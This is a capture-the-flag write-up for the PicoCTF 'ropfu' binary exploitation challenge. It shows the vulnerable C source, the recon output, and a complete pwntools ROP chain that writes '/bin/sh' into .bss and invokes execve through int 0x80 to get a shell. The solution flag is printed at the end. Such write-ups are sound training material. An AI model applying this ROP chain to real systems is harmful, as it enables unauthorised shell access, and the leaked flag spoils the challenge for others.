# PicoCTF - ropfu
## Background
ROP Chain
x86 Calling Convention:
[Linux System Call Table](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit)
## Source code
:::spoiler Source Code
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
```
:::
## Recon
```bash!
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=232215a502491a549a155b1a790de97f0c433482, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/ropfu/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```
這一題很明顯要開個shell,我以為會像[^pico_pwn_guessing_game][^0x12_rop++]這兩題一樣,事實上概念完全一樣,但換到x86的32bits版本就不知道為啥一直沒有成功,後來有想到是忽略了calling convention的問題,和x86-64的版本不一樣,另外指令的選擇上也不太一樣,像64bits的system call會用syscall,但x86會用int 0x80處理[^syscall_in_x86],另外寫入`/bin/sh\x00`的方式也和之前的不一樣,之前是call __libc_read function之前把暫存器的部分擺好,就直接跳到__libc_read的地方去,但在這邊是沒辦法成功的,看了其他人的wp[^ropfu_wp],大部分的做法都是直接用rop把值寫到對應的section中,詳細如下:
```assembly
pop edx -> bss address
pop eax -> 0x6e69622f -> /bin
mov DWORD PTR [edx] eax
pop edx -> bss address
pop eax -> 0x0068732f -> /sh\x00
mov DWORD PTR [edx] eax
```
寫完`/bin/sh\x00`就直接call execve的syscall開shell
## Exploit - ROP Chain
```python!
from pwn import *
# r = process('./vuln')
r= remote('saturn.picoctf.net', 54107)
context.arch = 'amd64'
r.recvline()
pop_eax_ret = 0x80b073a
pop_edx_ebx_ret = 0x80583b9
bss_addr = 0x080e5050
mov_dword_ptr_edx_eax_ret = 0x80590f2
pop_ecx_ret = 0x8049e29
int_0x80 = 0x0807163f
'''############
Read /bin/sh\x00
############'''
# raw_input()
r.sendline(b'a' * 0x1c +
p32(pop_edx_ebx_ret) + p32(bss_addr) + p32(0) +
p32(pop_eax_ret) + p32(0x6e69622f) +
p32(mov_dword_ptr_edx_eax_ret) +
p32(pop_edx_ebx_ret) + p32(bss_addr + 4) + p32(0) +
p32(pop_eax_ret) + p32(0x0068732f) +
p32(mov_dword_ptr_edx_eax_ret) +
p32(pop_eax_ret) + p32(0xb) +
p32(pop_edx_ebx_ret) + p32(0) + p32(bss_addr) +
p32(pop_ecx_ret) + p32(0) +
p32(int_0x80)
)
r.interactive()
```
Flag: `picoCTF{5n47ch_7h3_5h311_1b5a4b40}`
## Reference
[^ropfu_wp]:[ PicoCTF 2022: Beginner's Compilation ](https://enscribe.dev/ctfs/pico22/beginners-compilation/#ropfu)
[^pico_pwn_guessing_game]:[PicoCTF - Guessing Game 1](https://hackmd.io/@SBK6401/SkxoLuwoh)
[^0x12_rop++]:[Simple PWN - 0x12(Lab - rop++)](https://hackmd.io/@SBK6401/rysBjQfjs)
[^syscall_in_x86]:[ 在 Linux 下寫組語, 透過 int 0x80 使用 system call ](http://guguclock.blogspot.com/2009/01/linux-int-0x80-system-call.html)